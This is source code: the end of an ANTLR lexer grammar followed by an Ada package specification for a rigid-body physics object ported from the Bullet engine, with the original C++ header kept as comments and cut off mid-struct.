UNDERSCORE : '_' ;
FORWARD_SLASH : '/' ;
BACKWARD_SLASH : '\\' ;
SEMICOLON: ';' ;
COMMA: ',' ;
COLON : ':' ;
DOT : '.' ;
SINGLE_QUOTE: '\'' ;
DOUBLE_QUOTE: '"' ;
OPEN_ROUND_BRACKET : '(' ;
CLOSE_ROUND_BRACKET : ')' ;
OPEN_SQUARE_BRACKET : '[' ;
CLOSE_SQUARE_BRACKET : ']' ;
EQUAL_TO : '=' ;
NOT_EQUAL_TO : '<>' ;
LESS_THAN : '<' ;
LESS_THAN_OR_EQUAL : '<=' ;
GREATER_THAN : '>' ;
GREATER_THAN_OR_EQUAL : '>=' ;
STARTS_WITH : STARTS SP WITH ;
ENDS_WITH : ENDS SP WITH ;
fragment A : ('a'|'A') ;
fragment B : ('b'|'B') ;
fragment C : ('c'|'C') ;
fragment D : ('d'|'D') ;
fragment E : ('e'|'E') ;
fragment F : ('f'|'F') ;
fragment G : ('g'|'G') ;
fragment H : ('h'|'H') ;
fragment I : ('i'|'I') ;
fragment J : ('j'|'J') ;
fragment K : ('k'|'K') ;
fragment L : ('l'|'L') ;
fragment M : ('m'|'M') ;
fragment N : ('n'|'N') ;
fragment O : ('o'|'O') ;
fragment P : ('p'|'P') ;
fragment Q : ('q'|'Q') ;
fragment R : ('r'|'R') ;
fragment S : ('s'|'S') ;
fragment T : ('t'|'T') ;
fragment U : ('u'|'U') ;
fragment V : ('v'|'V') ;
fragment W : ('w'|'W') ;
fragment X : ('x'|'X') ;
fragment Y : ('y'|'Y') ;
fragment Z : ('z'|'Z') ;
fragment Character : A | B | C | D | E | F | G | H | I | J | K | L | M |
N | O | P | Q | R | S | T | U | V | W | X | Y | Z ;
Characters : ( Character )+ ;
fragment Digit : '0' | '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9' ;
Digits : ( Digit )+ ;
|
3-mid/impact/source/3d/dynamics/impact-d3-object-rigid.ads | charlie5/lace | 20 | 8563 | <gh_stars>10-100
with impact.d3.Object,
impact.d3.Shape,
impact.d3.motion_State;
with impact.d3.collision.Proxy;
with impact.d3.Joint;
package impact.d3.Object.rigid
--
--
--
is
type Item is new impact.d3.Object.item with private;
type View is access all Item'Class;
--- rigidFlags
--
bt_Disable_World_Gravity : constant Flags := 1;
gDeactivationTime : constant math.Real := 2.0;
gDisableDeactivation : constant Boolean := False;
----------
--- Forge
--
--- ConstructionInfo
--
type ConstructionInfo is record
m_mass : Real;
m_motionState : access impact.d3.motion_State.Item'Class;
m_startWorldTransform : Transform_3d;
m_collisionShape : access impact.d3.Shape.item'Class;
m_localInertia : Vector_3;
m_linearDamping : Real;
m_angularDamping : Real;
m_friction : Real;
m_restitution : Real;
m_linearSleepingThreshold : Real;
m_angularSleepingThreshold : Real;
m_additionalDamping : Boolean;
m_additionalDampingFactor : Real;
m_additionalLinearDampingThresholdSqr : Real;
m_additionalAngularDampingThresholdSqr : Real;
m_additionalAngularDampingFactor : Real;
end record;
function to_ConstructionInfo (mass : in Real ;
motionState : access impact.d3.motion_State.Item'Class;
collisionShape : access impact.d3.Shape .Item'Class;
localInertia : in Vector_3 ) return ConstructionInfo;
package Forge
is
function to_rigid_Object (mass : in math.Real ;
motionState : access impact.d3.motion_State.Item'Class;
collisionShape : access impact.d3.Shape .Item'Class;
localInertia : in math.Vector_3 := (0.0, 0.0, 0.0)) return Item;
--
-- rigid constructor for backwards compatibility.
--
-- To specify friction (etc) during rigid body construction, please use the other constructor (using impact.d3.Object.rigidConstructionInfo).
end Forge;
----------------
--- Atttributes
--
--- Dynamics
--
function Site (Self : in Item) return Vector_3;
procedure Site_is (Self : in out Item; Now : in Vector_3);
function Spin (Self : in Item) return math.Matrix_3x3;
procedure Spin_is (Self : in out Item; Now : in math.Matrix_3x3);
function xy_Spin (Self : in Item) return math.Radians;
procedure xy_Spin_is (Self : in out Item; Now : in math.Radians);
function Transform (Self : in Item) return math.Matrix_4x4;
procedure Transform_is (Self : in out Item; Now : in math.Matrix_4x4);
function Speed (Self : in Item) return math.Vector_3;
procedure Speed_is (Self : in out Item; Now : in math.Vector_3);
function Gyre (Self : in Item) return math.Vector_3;
procedure Gyre_is (Self : in out Item; Now : in math.Vector_3);
--- Forces
--
procedure apply_Torque (Self : in out Item; Torque : in math.Vector_3);
procedure apply_Torque_impulse (Self : in out Item; Torque : in math.Vector_3);
procedure apply_Force (Self : in out Item; Force : in math.Vector_3);
---------------
--- Operations
--
--- original ...
--
procedure RigidBody_Assert (Self : in item);
function new_rigid_Object (constructionInfo : in rigid.ConstructionInfo) return View;
procedure delete (Self : in Item);
procedure setupRigidBody (Self : in out Item;
constructionInfo : in rigid.ConstructionInfo);
procedure proceedToTransform (Self : in out Item;
newTrans : in Transform_3d);
procedure predictIntegratedTransform (Self : in out Item;
timeStep : in Real;
predictedTransform : out Transform_3d);
procedure saveKinematicState (Self : in out Item;
timeStep : in Real);
procedure applyGravity (Self : in out Item);
procedure setGravity (Self : in out Item;
acceleration : in Vector_3);
function getGravity (Self : in Item) return Vector_3;
procedure setDamping (Self : in out Item;
lin_damping : in Real;
ang_damping : in Real);
function getLinearDamping (Self : in Item) return Real;
function getAngularDamping (Self : in Item) return Real;
function getLinearSleepingThreshold (Self : in Item) return Real;
function getAngularSleepingThreshold (Self : in Item) return Real;
procedure applyDamping (Self : in out Item;
timeStep : in Real);
-- function getCollisionShape (Self : in Item) return access impact.d3.Shape.item'Class;
procedure setMassProps (Self : in out Item;
mass : in Real;
inertia : in Vector_3);
function getLinearFactor (Self : in Item) return Vector_3;
procedure setLinearFactor (Self : in out Item;
linearFactor : in Vector_3);
function getInvMass (Self : in Item) return Real;
function getInvInertiaTensorWorld (Self : in Item) return Matrix_3x3;
procedure integrateVelocities (Self : in out Item;
step : in Real);
procedure setCenterOfMassTransform (Self : in out Item;
xform : Transform_3d);
procedure applyCentralForce (Self : in out Item;
force : in Vector_3);
function getTotalForce (Self : in Item) return Vector_3;
function getTotalTorque (Self : in Item) return Vector_3;
function getInvInertiaDiagLocal (Self : in Item) return Vector_3;
procedure setInvInertiaDiagLocal (Self : in out Item;
diagInvInertia : in Vector_3);
procedure setSleepingThresholds (Self : in out Item;
linear : in Real;
angular : in Real);
procedure applyTorque (Self : in out Item;
torque : in Vector_3);
procedure applyForce (Self : in out Item;
force : in Vector_3;
rel_pos : in Vector_3);
procedure applyCentralImpulse (Self : in out Item;
impulse : in Vector_3);
procedure applyTorqueImpulse (Self : in out Item;
torque : in Vector_3);
procedure applyImpulse (Self : in out Item;
impulse : in Vector_3;
rel_pos : in Vector_3);
procedure clearForces (Self : in out Item);
procedure updateInertiaTensor (Self : in out Item);
function getCenterOfMassPosition (Self : in Item) return Vector_3;
function getOrientation (Self : access Item) return Quaternion;
function getCenterOfMassTransform (Self : in Item) return Transform_3d;
function getLinearVelocity (Self : in Item) return Vector_3;
function getAngularVelocity (Self : in Item) return Vector_3;
procedure setLinearVelocity (Self : in out Item;
lin_vel : in Vector_3);
procedure setAngularVelocity (Self : in out Item;
ang_vel : in Vector_3);
function getVelocityInLocalPoint (Self : in Item;
rel_pos : in Vector_3) return Vector_3;
procedure translate (Self : in out Item;
v : in Vector_3);
procedure getAabb (Self : in out Item;
aabbMin : out Vector_3;
aabbMax : out Vector_3);
function computeImpulseDenominator (Self : in Item;
pos : in Vector_3;
normal : in Vector_3) return Real;
function computeAngularImpulseDenominator (Self : in Item;
axis : in Vector_3) return Real;
procedure UpdateDeactivation (Self : in out Item;
TimeStep : in Real);
function wantsSleeping (Self : in Item) return Boolean;
function getBroadphaseProxy (Self : access Item) return access impact.d3.collision.Proxy.item;
procedure setNewBroadphaseProxy (Self : in out Item;
broadphaseProxy : access impact.d3.collision.Proxy.item);
-- function getMotionState (Self : in Item) return impact.d3.motion_State.Item'Class;
function getMotionState (Self : in Item) return access impact.d3.motion_State.Item'Class;
procedure setMotionState (Self : in out Item;
motionState : access impact.d3.motion_State.Item'Class);
procedure setAngularFactor (Self : in out Item;
angFac : in Real);
function getAngularFactor (Self : in Item) return Vector_3;
function isInWorld (Self : access Item) return Boolean;
function checkCollideWithOverride (Self : in Item;
co : access impact.d3.Object.item'Class) return Boolean;
procedure addConstraintRef (Self : in out Item;
c : access impact.d3.Joint.Item'Class);
procedure removeConstraintRef (Self : in out Item;
c : access impact.d3.Joint.item'Class);
function getConstraintRef (Self : in Item;
index : in Integer) return access impact.d3.Joint.Item'Class;
function getNumConstraintRefs (Self : in Item) return Ada.Containers.Count_Type;
procedure setFlags (Self : in out Item;
flags : in d3.Flags);
function getFlags (Self : in Item) return Flags;
function getDeltaLinearVelocity (Self : in Item) return Vector_3;
function getDeltaAngularVelocity (Self : in Item) return Vector_3;
function getPushVelocity (Self : in Item) return Vector_3;
function getTurnVelocity (Self : in Item) return Vector_3;
function internalGetDeltaLinearVelocity (Self : access Item) return access Vector_3;
function internalGetDeltaAngularVelocity (Self : access Item) return access Vector_3;
function internalGetAngularFactor (Self : in Item) return Vector_3;
function internalGetInvMass (Self : in Item) return Vector_3;
function internalGetPushVelocity (Self : access Item) return access Vector_3;
function internalGetTurnVelocity (Self : access Item) return access Vector_3;
procedure internalGetVelocityInLocalPointObsolete
(Self : in Item;
rel_pos : in Vector_3;
velocity : out Vector_3);
procedure internalGetAngularVelocity (Self : in Item;
angVel : out Vector_3);
procedure internalApplyImpulse
(Self : in out Item;
linearComponent : in Vector_3;
angularComponent : in Vector_3;
impulseMagnitude : in Real);
procedure internalApplyPushImpulse
(Self : in out Item;
linearComponent : in Vector_3;
angularComponent : in Vector_3;
impulseMagnitude : in Real);
procedure internalWritebackVelocity (Self : in out Item);
procedure internalWritebackVelocity (Self : in out Item;
timeStep : in Real);
private
-- type impact.d3.Joint_view is access all impact.d3.Joint.Item'Class;
--
-- package impact.d3.Joint_Vectors is new ada.containers.Vectors (Positive, impact.d3.Joint_view);
-- subtype impact.d3.Joint_Vector is impact.d3.Joint_Vectors.Vector;
type Item is new impact.d3.Object.item with
record
m_invInertiaTensorWorld : Matrix_3x3;
m_linearVelocity : Vector_3;
m_angularVelocity : Vector_3;
m_inverseMass : Real;
m_linearFactor : Vector_3;
m_gravity : Vector_3;
m_gravity_acceleration : Vector_3;
m_invInertiaLocal : Vector_3;
m_totalForce : Vector_3;
m_totalTorque : Vector_3;
m_linearDamping : Real;
m_angularDamping : Real;
m_additionalDamping : Boolean;
m_additionalDampingFactor : Real;
m_additionalLinearDampingThresholdSqr : Real;
m_additionalAngularDampingThresholdSqr : Real;
m_additionalAngularDampingFactor : Real;
m_linearSleepingThreshold : Real;
m_angularSleepingThreshold : Real;
m_optionalMotionState : access impact.d3.motion_State.Item'Class;
m_constraintRefs : impact.d3.Joint.Vector;
m_rigidbodyFlags : Flags;
m_debugBodyId : Integer;
m_deltaLinearVelocity : aliased Vector_3;
m_deltaAngularVelocity : aliased Vector_3;
m_angularFactor : Vector_3;
m_invMass : Vector_3;
m_pushVelocity : aliased Vector_3;
m_turnVelocity : aliased Vector_3;
m_contactSolverType : Integer;
m_frictionSolverType : Integer;
end record;
end impact.d3.Object.rigid;
-- #ifndef BT_RIGIDBODY_H
-- #define BT_RIGIDBODY_H
--
-- #include "LinearMath/btAlignedObjectArray.h"
-- #include "LinearMath/impact.d3.Transform.h"
-- #include "BulletCollision/BroadphaseCollision/impact.d3.collision.Proxy.h"
-- #include "BulletCollision/CollisionDispatch/impact.d3.Object.h"
--
-- class impact.d3.Shape;
-- class impact.d3.motion_State;
-- class impact.d3.Joint;
--
--
--
-- #ifdef BT_USE_DOUBLE_PRECISION
-- #define impact.d3.Object.rigidData impact.d3.Object.rigidDoubleData
-- #define impact.d3.Object.rigidDataName "impact.d3.Object.rigidDoubleData"
-- #else
-- #define impact.d3.Object.rigidData impact.d3.Object.rigidFloatData
-- #define impact.d3.Object.rigidDataName "impact.d3.Object.rigidFloatData"
-- #endif //BT_USE_DOUBLE_PRECISION
--
--
-- enum impact.d3.Object.rigidFlags
-- {
-- BT_DISABLE_WORLD_GRAVITY = 1
-- };
--
--
-- ///The impact.d3.Object.rigid is the main class for rigid body objects. It is derived from impact.d3.Object, so it keeps a pointer to a impact.d3.Shape.
-- ///It is recommended for performance and memory use to share impact.d3.Shape objects whenever possible.
-- ///There are 3 types of rigid bodies:
-- ///- A) Dynamic rigid bodies, with positive mass. Motion is controlled by rigid body dynamics.
-- ///- B) Fixed objects with zero mass. They are not moving (basically collision objects)
-- ///- C) Kinematic objects, which are objects without mass, but the user can move them. There is on-way interaction, and Bullet calculates a velocity based on the timestep and previous and current world transform.
-- ///Bullet automatically deactivates dynamic rigid bodies, when the velocity is below a threshold for a given time.
-- ///Deactivated (sleeping) rigid bodies don't take any processing time, except a minor broadphase collision detection impact (to allow active objects to activate/wake up sleeping objects)
-- class impact.d3.Object.rigid : public impact.d3.Object
-- {
--
-- impact.d3.Matrix m_invInertiaTensorWorld;
-- impact.d3.Vector m_linearVelocity;
-- impact.d3.Vector m_angularVelocity;
-- impact.d3.Scalar m_inverseMass;
-- impact.d3.Vector m_linearFactor;
--
-- impact.d3.Vector m_gravity;
-- impact.d3.Vector m_gravity_acceleration;
-- impact.d3.Vector m_invInertiaLocal;
-- impact.d3.Vector m_totalForce;
-- impact.d3.Vector m_totalTorque;
--
-- impact.d3.Scalar m_linearDamping;
-- impact.d3.Scalar m_angularDamping;
--
-- bool m_additionalDamping;
-- impact.d3.Scalar m_additionalDampingFactor;
-- impact.d3.Scalar m_additionalLinearDampingThresholdSqr;
-- impact.d3.Scalar m_additionalAngularDampingThresholdSqr;
-- impact.d3.Scalar m_additionalAngularDampingFactor;
--
--
-- impact.d3.Scalar m_linearSleepingThreshold;
-- impact.d3.Scalar m_angularSleepingThreshold;
--
-- //m_optionalMotionState allows to automatic synchronize the world transform for active objects
-- impact.d3.motion_State* m_optionalMotionState;
--
-- //keep track of typed constraints referencing this rigid body
-- btAlignedObjectArray<impact.d3.Joint*> m_constraintRefs;
--
-- int m_rigidbodyFlags;
--
-- int m_debugBodyId;
--
--
-- protected:
--
-- ATTRIBUTE_ALIGNED64(impact.d3.Vector m_deltaLinearVelocity);
-- impact.d3.Vector m_deltaAngularVelocity;
-- impact.d3.Vector m_angularFactor;
-- impact.d3.Vector m_invMass;
-- impact.d3.Vector m_pushVelocity;
-- impact.d3.Vector m_turnVelocity;
--
--
-- public:
--
--
-- ///The impact.d3.Object.rigidConstructionInfo structure provides information to create a rigid body. Setting mass to zero creates a fixed (non-dynamic) rigid body.
-- ///For dynamic objects, you can use the collision shape to approximate the local inertia tensor, otherwise use the zero vector (default argument)
-- ///You can use the motion state to synchronize the world transform between physics and graphics objects.
-- ///And if the motion state is provided, the rigid body will initialize its initial world transform from the motion state,
-- ///m_startWorldTransform is only used when you don't provide a motion state.
-- struct impact.d3.Object.rigidConstructionInfo
-- {
-- impact.d3.Scalar m_mass;
--
-- ///When a motionState is provided, the rigid body will initialize its world transform from the motion state
-- ///In this case, m_startWorldTransform is ignored.
-- impact.d3.motion_State* m_motionState;
-- impact.d3.Transform m_startWorldTransform;
--
-- impact.d3.Shape* m_collisionShape;
-- impact.d3.Vector m_localInertia;
-- impact.d3.Scalar m_linearDamping;
-- impact.d3.Scalar m_angularDamping;
--
-- ///best simulation results when friction is non-zero
-- impact.d3.Scalar m_friction;
-- ///best simulation results using zero restitution.
-- impact.d3.Scalar m_restitution;
--
-- impact.d3.Scalar m_linearSleepingThreshold;
-- impact.d3.Scalar m_angularSleepingThreshold;
--
-- //Additional damping can help avoiding lowpass jitter motion, help stability for ragdolls etc.
-- //Such damping is undesirable, so once the overall simulation quality of the rigid body dynamics system has improved, this should become obsolete
-- bool m_additionalDamping;
-- impact.d3.Scalar m_additionalDampingFactor;
-- impact.d3.Scalar m_additionalLinearDampingThresholdSqr;
-- impact.d3.Scalar m_additionalAngularDampingThresholdSqr;
-- impact.d3.Scalar m_additionalAngularDampingFactor;
--
-- impact.d3.Object.rigidConstructionInfo( impact.d3.Scalar mass, impact.d3.motion_State* motionState, impact.d3.Shape* collisionShape, const impact.d3.Vector& localInertia=impact.d3.Vector(0,0,0)):
-- m_mass(mass),
-- m_motionState(motionState),
-- m_collisionShape(collisionShape),
-- m_localInertia(localInertia),
-- m_linearDamping(impact.d3.Scalar(0.)),
-- m_angularDamping(impact.d3.Scalar(0.)),
-- m_friction(impact.d3.Scalar(0.5)),
-- m_restitution(impact.d3.Scalar(0.)),
-- m_linearSleepingThreshold(impact.d3.Scalar(0.8)),
-- m_angularSleepingThreshold(impact.d3.Scalar(1.f)),
-- m_additionalDamping(false),
-- m_additionalDampingFactor(impact.d3.Scalar(0.005)),
-- m_additionalLinearDampingThresholdSqr(impact.d3.Scalar(0.01)),
-- m_additionalAngularDampingThresholdSqr(impact.d3.Scalar(0.01)),
-- m_additionalAngularDampingFactor(impact.d3.Scalar(0.01))
-- {
-- m_startWorldTransform.setIdentity();
-- }
-- };
--
-- ///impact.d3.Object.rigid constructor using construction info
-- impact.d3.Object.rigid( const impact.d3.Object.rigidConstructionInfo& constructionInfo);
--
--
--
-- virtual ~impact.d3.Object.rigid()
-- {
-- //No constraints should point to this rigidbody
-- //Remove constraints from the dynamics world before you delete the related rigidbodies.
-- btAssert(m_constraintRefs.size()==0);
-- }
--
-- protected:
--
-- ///setupRigidBody is only used internally by the constructor
-- void setupRigidBody(const impact.d3.Object.rigidConstructionInfo& constructionInfo);
--
-- public:
--
-- void proceedToTransform(const impact.d3.Transform& newTrans);
--
-- ///to keep collision detection and dynamics separate we don't store a rigidbody pointer
-- ///but a rigidbody is derived from impact.d3.Object, so we can safely perform an upcast
-- static const impact.d3.Object.rigid* upcast(const impact.d3.Object* colObj)
-- {
-- if (colObj->getInternalType()&impact.d3.Object::CO_RIGID_BODY)
-- return (const impact.d3.Object.rigid*)colObj;
-- return 0;
-- }
-- static impact.d3.Object.rigid* upcast(impact.d3.Object* colObj)
-- {
-- if (colObj->getInternalType()&impact.d3.Object::CO_RIGID_BODY)
-- return (impact.d3.Object.rigid*)colObj;
-- return 0;
-- }
--
-- /// continuous collision detection needs prediction
-- void predictIntegratedTransform(impact.d3.Scalar step, impact.d3.Transform& predictedTransform) ;
--
-- void saveKinematicState(impact.d3.Scalar step);
--
-- void applyGravity();
--
-- void setGravity(const impact.d3.Vector& acceleration);
--
-- const impact.d3.Vector& getGravity() const
-- {
-- return m_gravity_acceleration;
-- }
--
-- void setDamping(impact.d3.Scalar lin_damping, impact.d3.Scalar ang_damping);
--
-- impact.d3.Scalar getLinearDamping() const
-- {
-- return m_linearDamping;
-- }
--
-- impact.d3.Scalar getAngularDamping() const
-- {
-- return m_angularDamping;
-- }
--
-- impact.d3.Scalar getLinearSleepingThreshold() const
-- {
-- return m_linearSleepingThreshold;
-- }
--
-- impact.d3.Scalar getAngularSleepingThreshold() const
-- {
-- return m_angularSleepingThreshold;
-- }
--
-- void applyDamping(impact.d3.Scalar timeStep);
--
--
-- void setMassProps(impact.d3.Scalar mass, const impact.d3.Vector& inertia);
--
-- const impact.d3.Vector& getLinearFactor() const
-- {
-- return m_linearFactor;
-- }
-- void setLinearFactor(const impact.d3.Vector& linearFactor)
-- {
-- m_linearFactor = linearFactor;
-- m_invMass = m_linearFactor*m_inverseMass;
-- }
-- impact.d3.Scalar getInvMass() const { return m_inverseMass; }
-- const impact.d3.Matrix& getInvInertiaTensorWorld() const {
-- return m_invInertiaTensorWorld;
-- }
--
-- void integrateVelocities(impact.d3.Scalar step);
--
-- void setCenterOfMassTransform(const impact.d3.Transform& xform);
--
-- void applyCentralForce(const impact.d3.Vector& force)
-- {
-- m_totalForce += force*m_linearFactor;
-- }
--
-- const impact.d3.Vector& getTotalForce() const
-- {
-- return m_totalForce;
-- };
--
-- const impact.d3.Vector& getTotalTorque() const
-- {
-- return m_totalTorque;
-- };
--
-- const impact.d3.Vector& getInvInertiaDiagLocal() const
-- {
-- return m_invInertiaLocal;
-- };
--
-- void setInvInertiaDiagLocal(const impact.d3.Vector& diagInvInertia)
-- {
-- m_invInertiaLocal = diagInvInertia;
-- }
--
-- void setSleepingThresholds(impact.d3.Scalar linear,impact.d3.Scalar angular)
-- {
-- m_linearSleepingThreshold = linear;
-- m_angularSleepingThreshold = angular;
-- }
--
-- void applyTorque(const impact.d3.Vector& torque)
-- {
-- m_totalTorque += torque*m_angularFactor;
-- }
--
-- void applyForce(const impact.d3.Vector& force, const impact.d3.Vector& rel_pos)
-- {
-- applyCentralForce(force);
-- applyTorque(rel_pos.cross(force*m_linearFactor));
-- }
--
-- void applyCentralImpulse(const impact.d3.Vector& impulse)
-- {
-- m_linearVelocity += impulse *m_linearFactor * m_inverseMass;
-- }
--
-- void applyTorqueImpulse(const impact.d3.Vector& torque)
-- {
-- m_angularVelocity += m_invInertiaTensorWorld * torque * m_angularFactor;
-- }
--
-- void applyImpulse(const impact.d3.Vector& impulse, const impact.d3.Vector& rel_pos)
-- {
-- if (m_inverseMass != impact.d3.Scalar(0.))
-- {
-- applyCentralImpulse(impulse);
-- if (m_angularFactor)
-- {
-- applyTorqueImpulse(rel_pos.cross(impulse*m_linearFactor));
-- }
-- }
-- }
--
-- void clearForces()
-- {
-- m_totalForce.setValue(impact.d3.Scalar(0.0), impact.d3.Scalar(0.0), impact.d3.Scalar(0.0));
-- m_totalTorque.setValue(impact.d3.Scalar(0.0), impact.d3.Scalar(0.0), impact.d3.Scalar(0.0));
-- }
--
-- void updateInertiaTensor();
--
-- const impact.d3.Vector& getCenterOfMassPosition() const {
-- return m_worldTransform.getOrigin();
-- }
-- impact.d3.Quaternion getOrientation() const;
--
-- const impact.d3.Transform& getCenterOfMassTransform() const {
-- return m_worldTransform;
-- }
-- const impact.d3.Vector& getLinearVelocity() const {
-- return m_linearVelocity;
-- }
-- const impact.d3.Vector& getAngularVelocity() const {
-- return m_angularVelocity;
-- }
--
--
-- inline void setLinearVelocity(const impact.d3.Vector& lin_vel)
-- {
-- m_linearVelocity = lin_vel;
-- }
--
-- inline void setAngularVelocity(const impact.d3.Vector& ang_vel)
-- {
-- m_angularVelocity = ang_vel;
-- }
--
-- impact.d3.Vector getVelocityInLocalPoint(const impact.d3.Vector& rel_pos) const
-- {
-- //we also calculate lin/ang velocity for kinematic objects
-- return m_linearVelocity + m_angularVelocity.cross(rel_pos);
--
-- //for kinematic objects, we could also use use:
-- // return (m_worldTransform(rel_pos) - m_interpolationWorldTransform(rel_pos)) / m_kinematicTimeStep;
-- }
--
-- void translate(const impact.d3.Vector& v)
-- {
-- m_worldTransform.getOrigin() += v;
-- }
--
--
-- void getAabb(impact.d3.Vector& aabbMin,impact.d3.Vector& aabbMax) const;
--
--
--
--
--
-- SIMD_FORCE_INLINE impact.d3.Scalar computeImpulseDenominator(const impact.d3.Vector& pos, const impact.d3.Vector& normal) const
-- {
-- impact.d3.Vector r0 = pos - getCenterOfMassPosition();
--
-- impact.d3.Vector c0 = (r0).cross(normal);
--
-- impact.d3.Vector vec = (c0 * getInvInertiaTensorWorld()).cross(r0);
--
-- return m_inverseMass + normal.dot(vec);
--
-- }
--
-- SIMD_FORCE_INLINE impact.d3.Scalar computeAngularImpulseDenominator(const impact.d3.Vector& axis) const
-- {
-- impact.d3.Vector vec = axis * getInvInertiaTensorWorld();
-- return axis.dot(vec);
-- }
--
-- SIMD_FORCE_INLINE void updateDeactivation(impact.d3.Scalar timeStep)
-- {
-- if ( (getActivationState() == ISLAND_SLEEPING) || (getActivationState() == DISABLE_DEACTIVATION))
-- return;
--
-- if ((getLinearVelocity().length2() < m_linearSleepingThreshold*m_linearSleepingThreshold) &&
-- (getAngularVelocity().length2() < m_angularSleepingThreshold*m_angularSleepingThreshold))
-- {
-- m_deactivationTime += timeStep;
-- } else
-- {
-- m_deactivationTime=impact.d3.Scalar(0.);
-- setActivationState(0);
-- }
--
-- }
--
-- SIMD_FORCE_INLINE bool wantsSleeping()
-- {
--
-- if (getActivationState() == DISABLE_DEACTIVATION)
-- return false;
--
-- //disable deactivation
-- if (gDisableDeactivation || (gDeactivationTime == impact.d3.Scalar(0.)))
-- return false;
--
-- if ( (getActivationState() == ISLAND_SLEEPING) || (getActivationState() == WANTS_DEACTIVATION))
-- return true;
--
-- if (m_deactivationTime> gDeactivationTime)
-- {
-- return true;
-- }
-- return false;
-- }
--
--
--
-- const impact.d3.collision.Proxy* getBroadphaseProxy() const
-- {
-- return m_broadphaseHandle;
-- }
-- impact.d3.collision.Proxy* getBroadphaseProxy()
-- {
-- return m_broadphaseHandle;
-- }
-- void setNewBroadphaseProxy(impact.d3.collision.Proxy* broadphaseProxy)
-- {
-- m_broadphaseHandle = broadphaseProxy;
-- }
--
-- //impact.d3.motion_State allows to automatic synchronize the world transform for active objects
-- impact.d3.motion_State* getMotionState()
-- {
-- return m_optionalMotionState;
-- }
-- const impact.d3.motion_State* getMotionState() const
-- {
-- return m_optionalMotionState;
-- }
-- void setMotionState(impact.d3.motion_State* motionState)
-- {
-- m_optionalMotionState = motionState;
-- if (m_optionalMotionState)
-- motionState->getWorldTransform(m_worldTransform);
-- }
--
-- //for experimental overriding of friction/contact solver func
-- int m_contactSolverType;
-- int m_frictionSolverType;
--
-- void setAngularFactor(const impact.d3.Vector& angFac)
-- {
-- m_angularFactor = angFac;
-- }
--
-- void setAngularFactor(impact.d3.Scalar angFac)
-- {
-- m_angularFactor.setValue(angFac,angFac,angFac);
-- }
-- const impact.d3.Vector& getAngularFactor() const
-- {
-- return m_angularFactor;
-- }
--
-- //is this rigidbody added to a impact.d3.Space/impact.d3.Space.dynamic/btBroadphase?
-- bool isInWorld() const
-- {
-- return (getBroadphaseProxy() != 0);
-- }
--
-- virtual bool checkCollideWithOverride(impact.d3.Object* co);
--
-- void addConstraintRef(impact.d3.Joint* c);
-- void removeConstraintRef(impact.d3.Joint* c);
--
-- impact.d3.Joint* getConstraintRef(int index)
-- {
-- return m_constraintRefs[index];
-- }
--
-- int getNumConstraintRefs() const
-- {
-- return m_constraintRefs.size();
-- }
--
-- void setFlags(int flags)
-- {
-- m_rigidbodyFlags = flags;
-- }
--
-- int getFlags() const
-- {
-- return m_rigidbodyFlags;
-- }
--
-- const impact.d3.Vector& getDeltaLinearVelocity() const
-- {
-- return m_deltaLinearVelocity;
-- }
--
-- const impact.d3.Vector& getDeltaAngularVelocity() const
-- {
-- return m_deltaAngularVelocity;
-- }
--
-- const impact.d3.Vector& getPushVelocity() const
-- {
-- return m_pushVelocity;
-- }
--
-- const impact.d3.Vector& getTurnVelocity() const
-- {
-- return m_turnVelocity;
-- }
--
--
-- ////////////////////////////////////////////////
-- ///some internal methods, don't use them
--
-- impact.d3.Vector& internalGetDeltaLinearVelocity()
-- {
-- return m_deltaLinearVelocity;
-- }
--
-- impact.d3.Vector& internalGetDeltaAngularVelocity()
-- {
-- return m_deltaAngularVelocity;
-- }
--
-- const impact.d3.Vector& internalGetAngularFactor() const
-- {
-- return m_angularFactor;
-- }
--
-- const impact.d3.Vector& internalGetInvMass() const
-- {
-- return m_invMass;
-- }
--
-- impact.d3.Vector& internalGetPushVelocity()
-- {
-- return m_pushVelocity;
-- }
--
-- impact.d3.Vector& internalGetTurnVelocity()
-- {
-- return m_turnVelocity;
-- }
--
-- SIMD_FORCE_INLINE void internalGetVelocityInLocalPointObsolete(const impact.d3.Vector& rel_pos, impact.d3.Vector& velocity ) const
-- {
-- velocity = getLinearVelocity()+m_deltaLinearVelocity + (getAngularVelocity()+m_deltaAngularVelocity).cross(rel_pos);
-- }
--
-- SIMD_FORCE_INLINE void internalGetAngularVelocity(impact.d3.Vector& angVel) const
-- {
-- angVel = getAngularVelocity()+m_deltaAngularVelocity;
-- }
--
--
-- //Optimization for the iterative solver: avoid calculating constant terms involving inertia, normal, relative position
-- SIMD_FORCE_INLINE void internalApplyImpulse(const impact.d3.Vector& linearComponent, const impact.d3.Vector& angularComponent,const impact.d3.Scalar impulseMagnitude)
-- {
-- if (m_inverseMass)
-- {
-- m_deltaLinearVelocity += linearComponent*impulseMagnitude;
-- m_deltaAngularVelocity += angularComponent*(impulseMagnitude*m_angularFactor);
-- }
-- }
--
-- SIMD_FORCE_INLINE void internalApplyPushImpulse(const impact.d3.Vector& linearComponent, const impact.d3.Vector& angularComponent,impact.d3.Scalar impulseMagnitude)
-- {
-- if (m_inverseMass)
-- {
-- m_pushVelocity += linearComponent*impulseMagnitude;
-- m_turnVelocity += angularComponent*(impulseMagnitude*m_angularFactor);
-- }
-- }
--
-- void internalWritebackVelocity()
-- {
-- if (m_inverseMass)
-- {
-- setLinearVelocity(getLinearVelocity()+ m_deltaLinearVelocity);
-- setAngularVelocity(getAngularVelocity()+m_deltaAngularVelocity);
-- //m_deltaLinearVelocity.setZero();
-- //m_deltaAngularVelocity .setZero();
-- //m_originalBody->setCompanionId(-1);
-- }
-- }
--
--
-- void internalWritebackVelocity(impact.d3.Scalar timeStep);
--
--
--
-- ///////////////////////////////////////////////
--
-- virtual int calculateSerializeBufferSize() const;
--
-- ///fills the dataBuffer and returns the struct name (and 0 on failure)
-- virtual const char* serialize(void* dataBuffer, class btSerializer* serializer) const;
--
-- virtual void serializeSingleObject(class btSerializer* serializer) const;
--
-- };
--
-- //@todo add m_optionalMotionState and m_constraintRefs to impact.d3.Object.rigidData
-- ///do not change those serialization structures, it requires an updated sBulletDNAstr/sBulletDNAstr64
-- struct impact.d3.Object.rigidFloatData
-- {
-- impact.d3.ObjectFloatData m_collisionObjectData;
-- impact.d3.MatrixFloatData m_invInertiaTensorWorld;
-- impact.d3.VectorFloatData m_linearVelocity;
-- impact.d3.VectorFloatData m_angularVelocity;
-- impact.d3.VectorFloatData m_angularFactor;
-- impact.d3.VectorFloatData m_linearFactor;
